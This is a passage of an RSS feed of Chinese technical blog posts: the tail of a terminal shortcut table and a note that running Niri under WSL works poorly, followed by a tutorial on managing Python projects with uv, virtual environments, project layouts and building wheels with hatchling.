&lt;td&gt;&lt;code&gt;Alt + Left&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;在目录历史中后退一步 ⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Alt + Right&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;在目录历史中前进一步&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;命令 &lt;code&gt;cdh&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;列出目录历史，字母/数字选择 ⭐⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Tab&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;路径补全&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Right&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;接受命令补全&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Ctrl + R&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;列出相关命令，方向键选择 ⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Ctrl + C&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;清空当前输入的命令&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Ctrl + A&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;将光标移至命令开头 ⭐⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Ctrl + E&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;将光标移至命令末尾&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Alt + F/B&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;按单词移动光标 ⭐⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Ctrl + W&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;删除光标前的一个单词 ⭐⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Alt + E&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;使用 &lt;code&gt;EDITOR&lt;/code&gt; 编辑命令&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Ctrl + Z&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;撤销误删操作&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Alt + /&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;重做撤销的操作&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Niri&lt;/h3&gt;
&lt;p&gt;:::caution
经实践，在 WSL 下使用 Niri 体验十分不佳：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;WSLg 主要支持运行 Linux GUI 应用，而不提供完整桌面环境支持；&lt;/li&gt;
&lt;li&gt;当你的计算机屏幕分辨率达到或超过 2k 时，&lt;code&gt;niri-session&lt;/code&gt; 无法弹出窗口。我尝试过手动降低屏幕分辨率，然后打开终端 &lt;code&gt;niri msg outputs&lt;/code&gt; 获取信息，然后在 &lt;code&gt;~/.config/niri/config.kdl&lt;/code&gt; 里修改配置，但最终窗口十分不稳定，非常容易闪退；&lt;/li&gt;
&lt;li&gt;弹出的窗口无法真正全屏。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;因此下面有关 &lt;code&gt;Niri&lt;/code&gt; 的内容都是废弃的。
:::&lt;/p&gt;
&lt;p&gt;接下来我将安装 Wayland 窗口管理器 (Compositor) &lt;a href=&quot;https://github.com/niri-wm/niri&quot;&gt;&lt;strong&gt;Niri&lt;/strong&gt;&lt;/a&gt;，支持可滚动平铺 (scrollable-tiling) 窗口。&lt;/p&gt;
&lt;p&gt;:::note
与 Sway 或 Hyprland 不同的地方在于，Niri 将窗口排列在一个无限延伸的水平桌面上，你可以向左或向右滚动（当然也可以实现更复杂的布局）。
:::&lt;/p&gt;
&lt;p&gt;安装桌面常用工具，比如 Niri 默认使用的&lt;strong&gt;应用启动器&lt;/strong&gt; &lt;code&gt;fuzzel&lt;/code&gt; 和&lt;strong&gt;终端&lt;/strong&gt; &lt;code&gt;alacritty&lt;/code&gt;。为了兼容不支持 Wayland 显示协议的图形程序，我还要安装 &lt;code&gt;xdg-desktop-portal-gtk&lt;/code&gt; 和 &lt;code&gt;xdg-desktop-portal-gnome&lt;/code&gt;。&lt;a href=&quot;https://wiki.archlinuxcn.org/zh/Niri&quot;&gt;Arch Wiki&lt;/a&gt; 推荐了这些软件包：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pacman -S fuzzel mako waybar xdg-desktop-portal-gtk xdg-desktop-portal-gnome alacritty swaybg swayidle swaylock xwayland-satellite udiskie
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装完软件后，我可以直接启动 Niri：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;niri-session
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;!-- code, tmux, docker --&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>Python 项目管理</title><link>https://fuwari.vercel.app/posts/lang/py/proj/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/lang/py/proj/</guid><description>Learn Python Projects in Y minutes</description><pubDate>Wed, 04 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Python 项目管理&lt;/h1&gt;
&lt;p&gt;安装 &lt;a href=&quot;https://uv.doczh.com/getting-started/&quot;&gt;uv&lt;/a&gt;．&lt;/p&gt;
&lt;h2&gt;管理 Python&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;下载&lt;/strong&gt; Python，并&lt;strong&gt;查看&lt;/strong&gt;本机已安装的 Python：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Users\Shy_Vector\AAA&amp;gt; uv python install pypy
PS C:\Users\Shy_Vector\AAA&amp;gt; uv python list
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;cpython-3.15.0a6-windows-x86_64-none                 [2m&amp;lt;download available&amp;gt;[0m
cpython-3.15.0a6+freethreaded-windows-x86_64-none    [2m&amp;lt;download available&amp;gt;[0m
cpython-3.14.3-windows-x86_64-none                   [2m&amp;lt;download available&amp;gt;[0m
cpython-3.14.3+freethreaded-windows-x86_64-none      [2m&amp;lt;download available&amp;gt;[0m
cpython-3.13.12-windows-x86_64-none                  [2m&amp;lt;download available&amp;gt;[0m
cpython-3.13.12+freethreaded-windows-x86_64-none     [2m&amp;lt;download available&amp;gt;[0m
cpython-3.12.13-windows-x86_64-none                  [2m&amp;lt;download available&amp;gt;[0m
cpython-3.12.10-windows-x86_64-none                  [36mC:\Program Files\Python\python.exe[0m
cpython-3.11.15-windows-x86_64-none                  [2m&amp;lt;download available&amp;gt;[0m
cpython-3.10.20-windows-x86_64-none                  [2m&amp;lt;download available&amp;gt;[0m
cpython-3.9.25-windows-x86_64-none                   [2m&amp;lt;download available&amp;gt;[0m
cpython-3.8.20-windows-x86_64-none                   [2m&amp;lt;download available&amp;gt;[0m
pypy-3.11.13-windows-x86_64-none                     [36mC:\Users\Shy_Vector\AppData\Roaming\uv\python\pypy-3.11.13-windows-x86_64-none\pypy3.11.exe[0m
pypy-3.10.16-windows-x86_64-none                     [2m&amp;lt;download available&amp;gt;[0m
pypy-3.9.19-windows-x86_64-none                      [2m&amp;lt;download available&amp;gt;[0m
pypy-3.8.16-windows-x86_64-none                      [2m&amp;lt;download available&amp;gt;[0m
graalpy-3.12.0-windows-x86_64-none                   [2m&amp;lt;download available&amp;gt;[0m
graalpy-3.11.0-windows-x86_64-none                   [2m&amp;lt;download available&amp;gt;[0m
graalpy-3.10.0-windows-x86_64-none                   [2m&amp;lt;download available&amp;gt;[0m
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;临时运行&lt;/strong&gt;特定版本的 Python / 脚本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Users\Shy_Vector\AAA&amp;gt; uv run -p 3.12 python

Python 3.12.10 (tags/v3.12.10:0cc8128, Apr  8 2025, 12:21:36) [MSC v.1943 64 bit (AMD64)] on win32
Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.
Ctrl click to launch VS Code Native REPL
&amp;gt;&amp;gt;&amp;gt; exit()

PS C:\Users\Shy_Vector\AAA&amp;gt; uv run -p pypy python

Python 3.11.13 (413c9b7f57f5, Jul 03 2025, 18:04:37)                                                                        
[PyPy 7.3.20 with MSC v.1941 64 bit (AMD64)] on win32
Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.
Ctrl click to launch VS Code Native REPL
[1;35m&amp;gt;&amp;gt;&amp;gt;&amp;gt;[0m exit()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;删除&lt;/strong&gt; Python：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Users\Shy_Vector\AAA&amp;gt; uv python uninstall pypy
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Searching for Python versions matching: [36mPyPy[0m
[2mUninstalled [1mPython 3.11.13[0m[2m in 777ms[0m
 [91m-[0m [1mpypy-3.11.13-windows-x86_64-none[0m
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;管理 venv&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;初始化&lt;/strong&gt;项目：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Users\Shy_Vector\AAA&amp;gt; uv init -p 3.12

Initialized project `[36mAAA[0m`

PS C:\Users\Shy_Vector\AAA&amp;gt; ls

    目录: C:\Users\Shy_Vector\AAA

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          2026/3/4     10:53            109 .gitignore
-a----          2026/3/4     10:53              5 .python-version
-a----          2026/3/4     10:46            167 main.py
-a----          2026/3/4     10:53            154 pyproject.toml
-a----          2026/3/4     10:53              0 README.md

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可在 &lt;code&gt;.python-version&lt;/code&gt; 中修改当前项目的 Python 版本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;3.12
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;pyproject.toml&lt;/code&gt; 包含当前项目的配置信息，第三方工具零散的配置文件得到统一：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[project]
name = &quot;AAA&quot;
version = &quot;0.1.0&quot;
description = &quot;AAAAAA&quot;
readme = &quot;README.md&quot;
requires-python = &quot;&amp;gt;=3.12&quot;
dependencies = []

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;初始化之前已有 &lt;code&gt;main.py&lt;/code&gt;，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from flask import Flask

app = Flask(__name__)

@app.route(&apos;/&apos;)
def foo():
    return &apos;Hello World&apos;

if __name__ == &apos;__main__&apos;:
    app.run(debug=True)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;里面依赖了 &lt;code&gt;flask&lt;/code&gt; 第三方库，接下来我们&lt;strong&gt;安装&lt;/strong&gt;它：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Users\Shy_Vector\AAA&amp;gt; uv add flask
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Using CPython 3.12.10 interpreter at: [36mC:\Program Files\Python\python.exe[0m
Creating virtual environment at: [36m.venv[0m
[2mResolved [1m9 packages[0m[2m in 1.41s
Prepared [1m8 packages[0m[2m in 533ms
Installed [1m8 packages[0m[2m in 26ms[0m
 [92m+[0m [1mblinker[0m[2m==1.9.0[0m
 [92m+[0m [1mclick[0m[2m==8.3.1[0m
 [92m+[0m [1mcolorama[0m[2m==0.4.6[0m
 [92m+[0m [1mflask[0m[2m==3.1.3[0m
 [92m+[0m [1mitsdangerous[0m[2m==2.2.0[0m
 [92m+[0m [1mjinja2[0m[2m==3.1.6[0m
 [92m+[0m [1mmarkupsafe[0m[2m==3.0.3[0m
 [92m+[0m [1mwerkzeug[0m[2m==3.1.6[0m
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::tip[&lt;code&gt;--dev&lt;/code&gt;]
对于 &lt;a href=&quot;https://uv.oaix.tech/reference/cli/add/&quot;&gt;&lt;code&gt;uv add&lt;/code&gt;&lt;/a&gt; 的参数，可以使用 &lt;code&gt;--dev&lt;/code&gt; 参数将工具加入开发依赖组，组内的依赖仅在开发阶段被使用，不会被打包出去．&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uv add ruff --dev
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;[project]
name = &quot;AAA&quot;
version = &quot;0.1.0&quot;
description = &quot;AAAAAA&quot;
readme = &quot;README.md&quot;
requires-python = &quot;&amp;gt;=3.12&quot;
dependencies = [
    &quot;flask&amp;gt;=3.1.3&quot;,
]

[dependency-groups]
dev = [
    &quot;ruff&amp;gt;=0.15.4&quot;,
]

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当然，&lt;code&gt;ruff&lt;/code&gt; 是工具而不是依赖，与工程代码无关，不应该作为依赖引入．&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uv remove ruff --dev
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;:::tip[&lt;code&gt;uv tool&lt;/code&gt;]
对于工具，可以使用 &lt;a href=&quot;https://uv.doczh.com/guides/tools/#_8&quot;&gt;&lt;code&gt;uv tool install&lt;/code&gt;&lt;/a&gt; 来安装：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Users\Shy_Vector\AAA&amp;gt; uv tool install ruff
[2mResolved [1m1 package[0m[2m in 265ms
Installed [1m1 package[0m[2m in 15ms[0m
 [92m+[0m [1mruff[0m[2m==0.15.4[0m
Installed 1 executable: [1mruff[0m
PS C:\Users\Shy_Vector\AAA&amp;gt; which ruff
C:\Users\Shy_Vector\.local\bin\ruff.EXE
PS C:\Users\Shy_Vector\AAA&amp;gt; ruff check
All checks passed!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看所有工具：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Users\Shy_Vector\AAA&amp;gt; uv tool list
[1mruff v0.15.4[0m
- ruff
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;我们可以看到 uv 已经为当前项目&lt;strong&gt;自动创建虚拟环境&lt;/strong&gt; &lt;code&gt;.venv&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Users\Shy_Vector\AAA&amp;gt; tree
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;文件夹 PATH 列表
卷序列号为 EA1E-9D15
C:.
├─.ruff_cache
│  └─0.15.4
└─.venv
    ├─Lib
    │  └─site-packages
    │      ├─blinker
    │      │  └─__pycache__
    │      ├─blinker-1.9.0.dist-info
    │      ├─click
    │      │  └─__pycache__
    │      ├─click-8.3.1.dist-info
    │      │  └─licenses
    │      ├─colorama
    │      │  ├─tests
    │      │  └─__pycache__
    │      ├─colorama-0.4.6.dist-info
    │      │  └─licenses
    │      ├─flask
    │      │  ├─json
    │      │  │  └─__pycache__
    │      │  ├─sansio
    │      │  │  └─__pycache__
    │      │  └─__pycache__
    │      ├─flask-3.1.3.dist-info
    │      │  └─licenses
    │      ├─itsdangerous
    │      │  └─__pycache__
    │      ├─itsdangerous-2.2.0.dist-info
    │      ├─jinja2
    │      │  └─__pycache__
    │      ├─jinja2-3.1.6.dist-info
    │      │  └─licenses
    │      ├─markupsafe
    │      │  └─__pycache__
    │      ├─markupsafe-3.0.3.dist-info
    │      │  └─licenses
    │      ├─werkzeug
    │      │  ├─datastructures
    │      │  │  └─__pycache__
    │      │  ├─debug
    │      │  │  ├─shared
    │      │  │  └─__pycache__
    │      │  ├─middleware
    │      │  ├─routing
    │      │  │  └─__pycache__
    │      │  ├─sansio
    │      │  │  └─__pycache__
    │      │  ├─wrappers
    │      │  │  └─__pycache__
    │      │  └─__pycache__
    │      ├─werkzeug-3.1.6.dist-info
    │      │  └─licenses
    │      └─__pycache__
    └─Scripts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::note[虚拟环境何以实现？]
当虚拟环境被激活后，&lt;code&gt;.venv\\Lib\\site-packages&lt;/code&gt; 目录将被追加进 Python 中 &lt;code&gt;sys.path&lt;/code&gt; 列表：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import sys, pprint
&amp;gt;&amp;gt;&amp;gt; pprint.pp(sys.path)
[&apos;&apos;,
 &apos;C:\\Program Files\\Python\\python312.zip&apos;,
 &apos;C:\\Program Files\\Python\\DLLs&apos;,
 &apos;C:\\Program Files\\Python\\Lib&apos;,
 &apos;C:\\Program Files\\Python&apos;,
 &apos;C:\\Users\\Shy_Vector\\AAA\\.venv&apos;,
 &apos;C:\\Users\\Shy_Vector\\AAA\\.venv\\Lib\\site-packages&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Python 在导入模块时，将逐个检查 &lt;code&gt;sys.path&lt;/code&gt; 列表里的每个路径，直到找出该模块．
:::&lt;/p&gt;
&lt;p&gt;查看所有第三方库的&lt;strong&gt;依赖关系&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Users\Shy_Vector\AAA&amp;gt; uv tree
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;[2mResolved [1m9 packages[0m[2m in 1ms[0m
AAA v0.1.0
└── flask v3.1.3
    ├── blinker v1.9.0
    ├── click v8.3.1
    │   └── colorama v0.4.6
    ├── itsdangerous v2.2.0
    ├── jinja2 v3.1.6
    │   └── markupsafe v3.0.3
    ├── markupsafe v3.0.3
    └── werkzeug v3.1.6
        └── markupsafe v3.0.3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在&lt;strong&gt;运行&lt;/strong&gt; &lt;code&gt;main.py&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Users\Shy_Vector\AAA&amp;gt; uv run main.py
 * Serving Flask app &apos;main&apos;
 * Debug mode: on
[91m[1mWARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.[0m
 * Running on http://127.0.0.1:5000
[93mPress CTRL+C to quit[0m
 * Restarting with stat
 * Debugger is active!
 * Debugger PIN: 329-036-685
127.0.0.1 - - [04/Mar/2026 10:59:36] &quot;GET / HTTP/1.1&quot; 200 -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::important[我拿到的是别人的项目，怎么配环境？]&lt;/p&gt;
&lt;p&gt;难不成只能看 &lt;code&gt;pyproject.toml&lt;/code&gt;，一个个手动 &lt;code&gt;uv add&lt;/code&gt;？当然不需要！只需&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Users\Shy_Vector\AAA&amp;gt; uv sync
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;uv 就会读取 &lt;code&gt;pyproject.toml&lt;/code&gt;，自动搭建虚拟环境，并安装好所有依赖．
:::&lt;/p&gt;
&lt;p&gt;:::tip[Python 往事]
如果只用 Python 官方的工具管理项目，那么流程是：手动创建虚拟环境 &lt;code&gt;.venv&lt;/code&gt; 并激活，编辑并读取 &lt;code&gt;pyproject.toml&lt;/code&gt;，往 &lt;code&gt;.venv&lt;/code&gt; 安装依赖．&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python -m venv .venv
source .venv/bin/activate (.venv\\Scripts\\activate)
edit pyproject.toml
pip install -e .
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;.venv&lt;/code&gt; 可以取别的名字，但 &lt;code&gt;.venv&lt;/code&gt; 这个名字已经被各界认同，也便于 IDE 识别．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;pip install -e .&lt;/code&gt; 是&lt;strong&gt;自安装&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;pip&lt;/code&gt; 先读取 &lt;code&gt;pyproject.toml&lt;/code&gt;，&lt;strong&gt;把当前项目打包&lt;/strong&gt;成标准的 Python 软件包；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pip&lt;/code&gt; 会&lt;strong&gt;像安装任何第三包那样，安装&lt;/strong&gt;刚刚打包好的软件包 (含依赖)．&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;当前项目的源代码也会被打包进去 (比如 &lt;code&gt;main.py&lt;/code&gt; 也被放进了 &lt;code&gt;site-packages&lt;/code&gt; 目录下)；&lt;/li&gt;
&lt;li&gt;这样做的好处是：我们的源代码在导入本项目别的代码时，可以不用相对导入 (如 &lt;code&gt;from . import foo&lt;/code&gt;)，而用&lt;strong&gt;绝对导入&lt;/strong&gt; (如 &lt;code&gt;import AAA.foo&lt;/code&gt;)，这样写会&lt;strong&gt;与项目使用者写法保持一致&lt;/strong&gt;，语义更清晰；&lt;/li&gt;
&lt;li&gt;但这样就存在两份一样的源代码，会引入修改同步问题．此时使用 &lt;code&gt;-e&lt;/code&gt; 参数 (编辑模式)，&lt;code&gt;site-packages&lt;/code&gt; 目录下的源代码将变成链接文件，指向项目源代码．&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;uv run&lt;/code&gt; 已经自动在运行脚本之前帮我们自安装好啦，不用操心．
:::&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::tip[Python 传说]
在 Python 官方没有标准规定 &lt;code&gt;pyproject.toml&lt;/code&gt; 文件之前，若想让别人复现这个环境，需使用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip freeze &amp;gt; requirements.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;把所有包导出到 &lt;code&gt;requirements.txt&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flask==3.1.3
blinker==1.9.0
click==8.3.1
itsdangerous==2.2.0
jinja2==3.1.6
markupsafe==3.0.3
werkzeug==3.1.6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但 &lt;code&gt;requirements.txt&lt;/code&gt; 混合了所有的直接或间接依赖，很难维护 (比如删除 &lt;code&gt;flask&lt;/code&gt; 之后，剩余的间接依赖仍被保留，因为 &lt;code&gt;requirements.txt&lt;/code&gt; 并不包含依赖关系的信息)．
:::&lt;/p&gt;
&lt;h2&gt;项目结构&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;flat layout&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;AAA
├─AAA
│  ├─app.py
│  ├─bar.py
│  └─foo.py
├─...
├─docs
├─...
├─tests
├─...
├─pyproject.toml
├─README.md
└─...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;src layout&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;AAA
├─docs
├─...
├─src
│  └─AAA
│     ├─app.py
│     ├─bar.py
│     └─foo.py
├─tests
├─...
├─pyproject.toml
├─README.md
└─...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::tip[为什么要套娃]
如果没有套一层，项目打包并解压到 &lt;code&gt;site-packages&lt;/code&gt; 后，根目录的源代码会裸露在 &lt;code&gt;site-packages&lt;/code&gt; 里，此时会有导入污染的问题：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import app, bar, foo # 万一同时有 AAA.app 和 BBB.app 怎么办？
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果套了一层，就不会有这个污染问题：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import AAA.app
from AAA import app, bar, foo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h2&gt;打包&lt;/h2&gt;
&lt;p&gt;:::note[认识 &lt;code&gt;.whl&lt;/code&gt;]
当我们使用 &lt;code&gt;pip&lt;/code&gt;，&lt;code&gt;uv&lt;/code&gt;，&lt;code&gt;poetry&lt;/code&gt; 这些工具安装软件包时，都会在 &lt;a href=&quot;https://pypi.org/&quot;&gt;PyPI&lt;/a&gt; 下载相应的 &lt;code&gt;.whl&lt;/code&gt; 文件 (如 &lt;code&gt;flask-3.1.3-py3-none-any.whl&lt;/code&gt;)，其本质就是&lt;strong&gt;压缩包&lt;/strong&gt;．&lt;/p&gt;
&lt;p&gt;所谓的 &lt;code&gt;pip install&lt;/code&gt;，就是将 &lt;code&gt;.whl&lt;/code&gt; 压缩包解压到 &lt;code&gt;site-packages&lt;/code&gt; 目录里&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;└─.venv
    ├─Lib
    │  └─site-packages
    │      ├─__pycache__
    │      ├─...
    │      ├─AAA
    │      │  ├─__pycache__
    │      │  ├─module
    │      │  │  ├─cat.py
    │      │  │  ├─dog.py
    │      │  │  └─...
    │      │  ├─app.py
    │      │  ├─bar.py
    │      │  ├─foo.py
    │      │  └─...
    │      ├─AAA-0.1.0.dist-info
    │      │  └─...
    │      ├─...
    │      ├─flask
    │      │  ├─__pycache__
    │      │  └─...
    │      ├─flask-3.1.3.dist-info
    │      │  └─...
    │      └─...
    └─Scripts
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;flask&lt;/code&gt; 目录存放着该库的所有源代码，此时可以使用 &lt;code&gt;import flask.app&lt;/code&gt; 来导入 &lt;code&gt;app.py&lt;/code&gt; 文件．&lt;/li&gt;
&lt;li&gt;&lt;code&gt;flask-3.1.3.dist-info&lt;/code&gt; 目录里的 &lt;code&gt;METADATA&lt;/code&gt; 文件由 &lt;code&gt;pyproject.toml&lt;/code&gt; 生成，记录了所需依赖．
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::note[Python 构建系统]
&lt;code&gt;.whl&lt;/code&gt; 文件如何生成？&lt;/p&gt;
&lt;p&gt;Python 的构建系统分为&lt;strong&gt;前端&lt;/strong&gt; (命令行工具，官方推荐工具为 &lt;code&gt;build&lt;/code&gt;) 和&lt;strong&gt;后端&lt;/strong&gt; (把项目代码打包成 &lt;code&gt;.whl&lt;/code&gt; 文件，默认使用 &lt;code&gt;setuptools&lt;/code&gt; 作为后端)．由于 &lt;a href=&quot;https://peps.pythonlang.cn/pep-0517/&quot;&gt;PEP 517 规范&lt;/a&gt; 把前后端之间的交互接口定义得十分清晰，社区涌现了许多第三方实现，如 &lt;code&gt;flit&lt;/code&gt;，&lt;code&gt;hatchling&lt;/code&gt;，&lt;code&gt;uv&lt;/code&gt;，&lt;code&gt;poetry&lt;/code&gt;，&lt;code&gt;PDM&lt;/code&gt; 等，它们都可以作为前端和后端，可以自由组合．&lt;/p&gt;
&lt;p&gt;下面我们使用 &lt;a href=&quot;https://build.pypa.io/en/stable/&quot;&gt;&lt;code&gt;build&lt;/code&gt;&lt;/a&gt; 作为前端，&lt;a href=&quot;https://github.com/pypa/hatch/tree/master/backend&quot;&gt;&lt;code&gt;hatchling&lt;/code&gt;&lt;/a&gt; 作为后端．
:::&lt;/p&gt;
&lt;p&gt;安装 &lt;code&gt;build&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install build
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;根据 &lt;code&gt;hatchling&lt;/code&gt; 的&lt;a href=&quot;https://hatch.pypa.io/latest/config/build/#build-system&quot;&gt;要求&lt;/a&gt;，配置 &lt;code&gt;pyproject.toml&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[project]
name = &quot;AAA&quot;
version = &quot;0.1.0&quot;
description = &quot;AAAAAA&quot;
readme = &quot;README.md&quot;
requires-python = &quot;&amp;gt;=3.12&quot;
dependencies = [
    &quot;flask&amp;gt;=3.1.3&quot;,
]

[build-system]
requires = [&quot;hatchling&quot;]
build-backend = &quot;hatchling.build&quot;

[tool.hatch.build.targets.wheel]
packages = [&quot;src/AAA&quot;]

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在可以打包了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Users\Shy_Vector\AAA&amp;gt; python -m build
[1m* Creating isolated environment: venv+pip...
* Installing packages in isolated environment:[0m
  - hatchling
[1m* Getting build dependencies for sdist...
* Building sdist...
* Building wheel from sdist
* Creating isolated environment: venv+pip...
* Installing packages in isolated environment:[0m
  - hatchling
[1m* Getting build dependencies for wheel...
* Building wheel...[0m
[92m[1mSuccessfully built [4mAAA-0.1.0.tar.gz[0m[92m[1m and [4mAAA-0.1.0-py3-none-any.whl[0m
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;也可以使用 &lt;code&gt;uv&lt;/code&gt; 作为前端：&lt;code&gt;uv build&lt;/code&gt;，比 &lt;code&gt;build&lt;/code&gt; 快．&lt;/p&gt;
&lt;/blockquote&gt;
